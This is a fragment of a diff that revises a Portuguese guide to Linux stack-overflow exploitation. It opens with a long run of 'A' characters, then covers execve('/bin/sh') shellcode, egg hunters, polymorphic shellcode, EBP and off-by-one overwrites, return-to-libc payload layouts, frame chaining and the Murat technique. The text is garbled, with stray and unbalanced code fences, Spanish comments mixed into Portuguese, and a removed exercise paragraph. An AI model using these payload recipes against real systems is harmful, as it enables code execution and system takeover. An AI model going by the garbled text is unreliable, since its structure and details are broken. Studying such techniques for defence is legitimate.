AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+**EJ usando o Stack(/bin/sh):**
```
section .text
global _start
@@ -168,37 +148,19 @@ mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
-
-O objetivo deste exercício é explorar uma vulnerabilidade de estouro de pilha básica em um programa Linux. Vamos usar uma técnica conhecida como "Return-Oriented Programming" (ROP) para desviar o fluxo de execução do programa e executar nosso próprio código.
-
-Neste exercício, você encontrará um programa chamado `vuln` que possui uma vulnerabilidade de estouro de pilha. Seu objetivo é explorar essa vulnerabilidade para obter acesso ao shell do sistema.
-
-O programa `vuln` possui uma função `vulnerable_function` que copia dados de entrada para um buffer sem verificar o tamanho. Isso permite que um atacante insira mais dados do que o buffer pode armazenar, resultando em um estouro de pilha.
-
-Seu objetivo é explorar essa vulnerabilidade para executar o código `shellcode` fornecido. O `shellcode` é um código assembly que executa um shell do sistema. Você precisará encontrar o endereço de retorno correto na pilha para redirecionar o fluxo de execução para o `shellcode`.
-
-Para facilitar o exercício, fornecemos um arquivo `exploit.py` que gera automaticamente o payload necessário para explorar a vulnerabilidade. Você pode executar o exploit usando o seguinte comando:
-
-```
-python exploit.py | ./vuln
-```
-
-Se tudo correr bem, você deverá obter um shell do sistema e poderá executar comandos no contexto do programa `vuln`.
-
-Lembre-se de que este exercício é apenas para fins educacionais e deve ser realizado em um ambiente controlado. Não é ético explorar vulnerabilidades em sistemas sem permissão.
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
-**Egg Hunter:**
+**Caçador de Ovos:**
-Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada lá (procura por alguma assinatura presente na shellcode). Útil nos casos em que há apenas um pequeno espaço para injetar código.
+Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada (procura por uma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código.
**Shellcodes polimórficos**
-São shells criptografadas que possuem um pequeno código que as descriptografa e salta para ele, usando o truque Call-Pop. Aqui está um **exemplo de criptografia de César**:
+Consistem em shells criptografadas que possuem um pequeno código que as descriptografa e salta para ela, utilizando o truque de Call-Pop este seria um **exemplo de cifra de César**:
```
global _start
_start:
@@ -227,128 +189,131 @@ movl %ebp, %esp
popl %ebp
ret
```
-De esta forma, se pode modificar o EBP ao sair de uma função (fvuln) que foi chamada por outra função, quando a função que chamou fvuln terminar, seu EIP pode ser modificado.
+```markdown
+Dessa forma, se for possível modificar o EBP ao sair de uma função (fvuln) que foi chamada por outra função, quando a função que chamou fvuln terminar, seu EIP pode ser modificado.
-Em fvuln, é possível inserir um EBP falso que aponta para um local onde está o endereço do shellcode + 4 (é necessário adicionar 4 devido ao pop). Assim, ao sair da função, o valor de &(\&Shellcode)+4 será colocado em ESP, com o pop, 4 será subtraído de ESP e ele apontará para o endereço do shellcode quando o ret for executado.
+Em fvuln, pode-se introduzir um EBP falso que aponte para um local onde esteja o endereço da shellcode + 4 (deve-se adicionar 4 pelo pop). Assim, ao sair da função, será colocado no ESP o valor de &(\&Shellcode)+4, com o pop serão subtraídos 4 do ESP e este apontará para o endereço da shellcode quando o ret for executado.
**Exploit:**\
\&Shellcode + "AAAA" + SHELLCODE + preenchimento + &(\&Shellcode)+4
-**Exploit Off-by-One**\
-Apenas o byte menos significativo do EBP pode ser modificado. Um ataque semelhante ao anterior pode ser realizado, mas a memória que armazena o endereço do shellcode deve compartilhar os 3 primeiros bytes com o EBP.
+**Off-by-One Exploit**\
+Permite-se modificar apenas o byte menos significativo do EBP. Pode-se realizar um ataque como o anterior, mas a memória que guarda o endereço da shellcode deve compartilhar os 3 primeiros bytes com o EBP.
## **4. Métodos return to Libc**
-Método útil quando o stack não é executável ou deixa um buffer muito pequeno para ser modificado.
+Método útil quando a stack não é executável ou deixa um buffer muito pequeno para modificar.
-O ASLR faz com que, a cada execução, as funções sejam carregadas em posições diferentes da memória. Portanto, esse método pode não ser eficaz nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil.
+O ASLR faz com que em cada execução as funções sejam carregadas em posições diferentes da memória. Portanto, este método pode não ser eficaz nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil.
-* **cdecl (C declaration)** Coloca os argumentos no stack e, ao sair da função, limpa o stack
-* **stdcall (standard call)** Coloca os argumentos no stack e é a função chamada que limpa o stack
-* **fastcall** Coloca os dois primeiros argumentos em registradores e o restante no stack
+* **cdecl(C declaration)** Coloca os argumentos na stack e após sair da função limpa a pilha
+* **stdcall(standard call)** Coloca os argumentos na pilha e é a função chamada que a limpa
+* **fastcall** Coloca os dois primeiros argumentos em registros e o resto na pilha
-É colocado o endereço da instrução system da libc e é passada como argumento a string "/bin/sh", normalmente de uma variável de ambiente. Além disso, é usado o endereço da função exit para que, uma vez que a shell não seja mais necessária, o programa saia sem problemas (e escreva logs).
+Coloca-se o endereço da instrução system da libc e passa-se como argumento a string “/bin/sh”, normalmente de uma variável de ambiente. Além disso, usa-se o endereço da função exit para que, uma vez que a shell não seja mais necessária, o programa saia sem causar problemas (e escrever logs).
**export SHELL=/bin/sh**
-Para encontrar os endereços necessários, pode-se olhar dentro do **GDB:**\
+Para encontrar os endereços que precisaremos, pode-se olhar dentro do **GDB:**\
**p system**\
**p exit**\
-**rabin2 -i executável** —> Fornece o endereço de todas as funções usadas pelo programa ao ser carregado\
+**rabin2 -i executável** —> Fornece o endereço de todas as funções que o programa usa ao carregar\
(Dentro de um start ou algum breakpoint): **x/500s $esp** —> Procuramos aqui a string /bin/sh
-Uma vez que tenhamos esses endereços, o **exploit** ficaria assim:
+Uma vez que tenhamos esses endereços, o **exploit** seria:
-"A" \* DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço do **system** (sobrescreverá o EIP) + Endereço do **exit** (ao sair de system("/bin/sh"), essa função será chamada, pois os primeiros 4 bytes do stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de "/bin/sh" (será o parâmetro passado para system)
+“A” \* DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço de **system** (sobrescreverá o EIP) + Endereço de **exit** (ao sair de system(“/bin/sh”) esta função será chamada, pois os primeiros 4 bytes da stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de “**/bin/sh**” (será o parâmetro passado para system)
-Dessa forma, o EIP será sobrescrito com o endereço do system, que receberá a string "/bin/sh" como parâmetro, e ao sair dele, a função exit() será executada.
+Dessa forma, o EIP será sobrescrito com o endereço de system, que receberá como parâmetro a string “/bin/sh” e, ao sair desta, executará a função exit().
-É possível encontrar a situação em que algum byte de algum endereço de alguma função seja nulo ou espaço (\x20). Nesse caso, é possível desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que nos permitirão chamar um deles em vez da função diretamente (por exemplo, com > x/8i system-4).
+Pode-se encontrar a situação em que algum byte do endereço de alguma função seja nulo ou espaço (\x20). Nesse caso, podem-se desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que nos permitirão chamar algum deles em vez da função diretamente (por exemplo, com > x/8i system-4).
-Esse método funciona porque, ao chamar uma função como system usando o opcode **ret** em vez de **call**, a função entende que os primeiros 4 bytes serão o endereço **EIP** para retornar.
+Este método funciona porque, ao chamar uma função como system usando o opcode **ret** em vez de **call**, a função entende que os primeiros 4 bytes serão o endereço **EIP** para o qual retornar.
-Uma técnica interessante com esse método é chamar **strncpy()** para mover um payload do stack para o heap e, em seguida, usar **gets()** para executar esse payload.
+Uma técnica interessante com este método é chamar **strncpy()** para mover um payload da stack para o heap e, posteriormente, usar **gets()** para executar esse payload.
-Outra técnica interessante é o uso de **mprotect()**, que permite atribuir as permissões desejadas a qualquer parte da memória. Funciona ou funcionava no BDS, MacOS e OpenBSD, mas não no Linux (controla que não seja possível conceder permissões de gravação e execução ao mesmo tempo). Com esse ataque, seria possível reconfigurar o stack como executável.
+Outra técnica interessante é o uso de **mprotect()**, que permite atribuir as permissões desejadas a qualquer parte da memória. Serve ou servia em BSD, MacOS e OpenBSD, mas não em linux (controla que não se possam conceder ao mesmo tempo permissões de escrita e execução). Com este ataque, poderia-se reconfigurar a stack como executável.
**Encadeamento de funções**
-Com base na técnica anterior, essa forma de exploit consiste em:\
-Preenchimento + \&Função1 + \&pop;ret; + \&arg\_fun1 + \&Função2 + \&pop;ret; + \&arg\_fun2 + ...
+Baseando-nos na técnica anterior, esta forma de exploit consiste em:\
+Preenchimento + \&Função1 + \&pop;ret; + \&arg_fun1 + \&Função2 + \&pop;ret; + \&arg_fun2 + …
-Dessa forma, é possível encadear funções para chamar. Além disso, se você quiser usar funções com vários argumentos, pode colocar os argumentos necessários (por exemplo, 4) e colocar os 4 argumentos e procurar um endereço com opcodes: pop, pop, pop, pop, ret —> **objdump -d executável**
+Dessa forma, podem-se encadear funções a serem chamadas. Além disso, se quiser usar funções com vários argumentos, podem-se colocar os argumentos necessários (ex. 4) e colocar os 4 argumentos e procurar um endereço com os opcodes: pop, pop, pop, pop, ret —> **objdump -d executável**
**Encadeamento por falsificação de frames (encadeamento de EBPs)**
-Consiste em aproveitar a capacidade de manipular o EBP para encadear a execução de várias funções por meio do EBP e do "leave;ret"
+Consiste em aproveitar a capacidade de manipular o EBP para encadear a execução de várias funções através do EBP e de "leave;ret"
PREENCHIMENTO
-* Colocamos no EBP um EBP falso que aponta para: 2º EBP\_falso + a função a ser executada: (\&system() + \&leave;ret + &"/bin/sh")
-* No EIP, colocamos como endereço uma função &(leave;ret)
+* Colocamos no EBP um EBP falso que aponta para: 2º EBP_falso + a função a ser executada: (\&system() + \&leave;ret + &“/bin/sh”)
+* No EIP colocamos o endereço de uma função &(leave;ret)
-Iniciamos o shellcode com o endereço da próxima parte do shellcode, por exemplo: 2ºEBP\_falso + \&system() + &(leave;ret;) + &"/bin/sh"
+Iniciamos a shellcode com o endereço para a próxima parte da shellcode, por exemplo: 2ºEBP_falso + \&system() + &(leave;ret;) + &”/bin/sh”
-o 2ºEBP seria: 3ºEBP\_falso + \&system() + &(leave;ret;) + &"/bin/ls"
+O 2ºEBP seria: 3ºEBP_falso + \&system() + &(leave;ret;) + &”/bin/ls”
-Esse shellcode pode ser repetido indefinidamente nas partes da memória às quais se tem acesso, de modo que um shellcode facilmente divisível em pequenos pedaços de memória seja obtido.
+Esta shellcode pode ser repetida indefinidamente nas partes da memória às quais se tem acesso, de forma que se consiga uma shellcode facilmente divisível por pequenos pedaços de memória.
-(A execução de funções é encadeada misturando as vulnerabilidades vistas anteriormente de EBP e ret2lib)
-## **5. Métodos complementares**
+(Encadeia-se a execução de funções misturando as vulnerabilidades vistas anteriormente de EBP e de ret2lib)
+
+## **5.Métodos complementares**
**Ret2Ret**
-Útil quando não é possível inserir um endereço de stack no EIP (verifica-se que o EIP não contém 0xbf) ou quando não é possível calcular a localização do shellcode. No entanto, a função vulnerável aceita um parâmetro (o shellcode será colocado aqui).
+Útil quando não se pode colocar um endereço da stack no EIP (verifica-se que o EIP não contenha 0xbf) ou quando não se pode calcular a localização da shellcode. No entanto, a função vulnerável aceita um parâmetro (a shellcode irá aqui).
-Dessa forma, ao alterar o EIP por um endereço de **ret**, o próximo endereço será carregado (que é o endereço do primeiro argumento da função). Ou seja, o shellcode será carregado.
+Dessa forma, ao mudar o EIP para um endereço de um **ret**, carregar-se-á o endereço seguinte (que é o endereço do primeiro argumento da função). Ou seja, carregar-se-á a shellcode.
-O exploit ficaria assim: SHELLCODE + Preenchimento (até o EIP) + **\&ret** (os próximos bytes da pilha apontam para o início do shellcode, pois o endereço do parâmetro passado é inserido na pilha)
+O exploit seria: SHELLCODE + Preenchimento (até EIP) + **\&ret** (os bytes seguintes da pilha apontam para o início da shellcode, pois se coloca na stack o endereço do parâmetro passado)
-Parece que funções como **strncpy**, uma vez concluídas, removem da pilha o endereço onde o shellcode estava armazenado, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (aquele que armazena o shellcode) é modificado para 0x00, então, ao chamar o segundo **ret**, ele encontra um 0x00 e o programa falha.
+Parece que funções como **strncpy** uma vez completas eliminam da pilha o endereço onde estava guardada a shellcode, impossibilitando esta técnica. Ou seja, o endereço que passam à função como argumento (o que guarda a shellcode) é modificado por um 0x00, então ao chamar o segundo **ret** encontra-se com um 0x00 e o programa termina.
+```
```
**Ret2PopRet**
```
-Se não tivermos controle sobre o primeiro argumento, mas tivermos sobre o segundo ou terceiro, podemos sobrescrever o EIP com um endereço de pop-ret ou pop-pop-ret, dependendo do que precisamos.
+Se não temos controle sobre o primeiro argumento, mas sim sobre o segundo ou o terceiro, podemos sobrescrever o EIP com um endereço para pop-ret ou pop-pop-ret, conforme necessário.
**Técnica de Murat**
-No Linux, todos os programas são mapeados a partir de 0xbfffffff.
+No Linux, todos os programas são mapeados começando em 0xbfffffff
-Ao observar como a pilha de um novo processo é construída no Linux, podemos desenvolver um exploit de forma que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_do_executável_completo) - strlen(shellcode)
+Observando como a pilha de um novo processo no Linux é construída, é possível desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. O endereço desta pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_executável\_completo) - strlen(shellcode)
-Dessa forma, obteríamos facilmente o endereço onde está a variável de ambiente com a shellcode.
+Dessa maneira, obtém-se de forma simples o endereço onde está a variável de ambiente com a shellcode.
-Isso é possível porque a função execle permite criar um ambiente que contenha apenas as variáveis de ambiente desejadas.
+Isso é possível graças ao fato de que a função execle permite criar um ambiente que contenha apenas as variáveis de ambiente desejadas.
